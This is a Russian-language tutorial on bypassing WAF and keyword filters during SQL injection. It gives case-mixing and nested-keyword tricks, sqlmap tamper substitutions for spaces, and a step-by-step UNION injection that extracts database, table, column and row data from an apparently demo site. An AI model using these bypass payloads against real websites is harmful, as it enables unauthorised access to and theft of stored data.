March 12, 2023

SQL INJECTION от новичка до профессионала

Для начало стоит понимать, что WAF это некое средство защиты для сайта, которое проверяет входящие запросы и фильтрует их. Также разработчик может поставить свои фильтры с помощью PHP кода и регулярных выражений. То-есть в чем задача разработчика, он знает, что хакер использует такие ключевые выражения как: union, select, database, or, and и тому подобное. Проще всего показать суть задачи разраба в текстовом редакторе...

То есть заменяем эти слова на пустоту без учета регистра.

Получается вот такая "полезная" нагрузка , которая не сработает. Но представим, что разработчик кривой и забыл указать, что без учета регистра заменять. То есть вот так!

Тогда мы можем просто написать uNion Select Database, ВЕДЬ SQL язык регистронезавимый. Давайте перейдем к случаю, если регистр отсутствует.

Тогда мы можем обойти этот фильтр.То есть , что происходит удаляются слова , верно ? Значит мы можем по сути разбить одно ключевое слово на два и всунуть между ними полное слово. Тогда полное слово заменится на пустоту, произойдет конкатенация ( объединение) строк и запрос сработает. То есть например вот так:

И вот что будет:

То есть запрос сработает. Мы обошли фильтр:)

Полезно знать также аналог дефолтного синтаксиса вашей СУБД ( у меня MySql) например

or = ||
and = %26%26
-- - = ;0x00
database = schema

И если наш запрос не срабатывает, то просто меняем синтаксис нашего запроса.

Но что делать, если разраб просто запретит использовать пробелы. По сути мы можем использовать sqlmap tamper для обхода WAF, просто подобрав нужный с помощью софта atlas или любого другого, но они не совсем корректно показывают какие тамперы срабатывают, а какие нет. Поэтому нужно учиться самостоятельно. Аналоги пробелов:

appendnullbyte.py
Function: Space ==> %00
bluecoat.py
Function: Space ==> %09
halfversionedmorekeywords.py
Function: Space ==> /*!0
space2comment.py
Function: Space ==> /**/
space2dash.py
Function: Space==> -nVNaVoPYeva% 0A
Platform:MSSQL、SQLite
space2mssqlblank.py
Function: Space ==> %23%0A
Platform: Mssql、Mysql
space2mysqlblank.py
Function: Space ==> %2B, %0D, %0C
Platform: Mysql5.1
space2mysqldash.py
Function: Space==> –%0A
Platform: Mssql、Mysql

Вообщем вариантом куча. Приступим к практике.

Практика

Допустим есть вот такой сайтик и уязвимость в GET параметре. Введем одинарную кавычку, чтобы убедиться в этом:)

Попробуем определить кол-во колонок и заодно обрамление , кто не знает , что такое обрамление читайте предыдущую мою статью.Вводим в уязвимый параметр:

'order by 1,2,3,4,5,6,7,8 -- -

Можно больше цифр.

Что я могу сказать, что блокируется оператор or. Попробуем поменять регистр на Or.

Опять мимо. Значит делаем загрузку по-другому 'ooRrder by 1,2,3,4,5,6,7,8 -- -

Мы обошли фильтр, но полезная нагрузка не отработала, т.к обрамление подобрано неверно. Меняем запрос на:

') ooRrder by 1,2,3,4,5,6,7,8 -- -

Отлично.Что мы узнали? Во первых для всех последующих запросов обрамление будет ') И бд содержит одну колонку, а также блокируется оператор or. Теперь давайте определим название бд. Попробуем вот так:

') union select database() -- -

union тоже блочится. Меняем запрос:

') unUNIONion select database() -- -

Попробуем определить название таблиц. Как мы знаем union и or ЗАПРЕЩЕНЫ. Поэтому составляем вот такой запрос:

') unUNIONion select table_name from infoorrmation_schema.tables where table_schema = 'Grisha' -- -

Если таблиц больше одной , то добавляем limit , Т.К одну таблицу мы получили , то вторую можем получить вот так:

') unUNIONion select table_name from infoorrmation_schema.tables where table_schema = 'Grisha' limit 1,1 -- -

Теперь можно получить и название этой одной колонки...

') unUNIONion select column_name from infoORrmation_schema.columns where table_name = 'oORrbuz' -- -

У нас есть название бд, таблицы, колонки. Теперь можно и забрать содержимое:

') unUNIONion select id from Grisha.oORrbuz  limit 0,1  -- -

Что мы узнали для техники UNION:

1) С помощью order by МЫ определяем кол-во колонок в запросе, которые будут использоваться, а в таблице их может быть хоть 100.

2) Кол-во колонок должно совпадать для UNION , если два , то два меньше или больше нельзя, будет ошибка.

3) UNION имеет непредсказуемый вывод и может меняться параметр где угодно.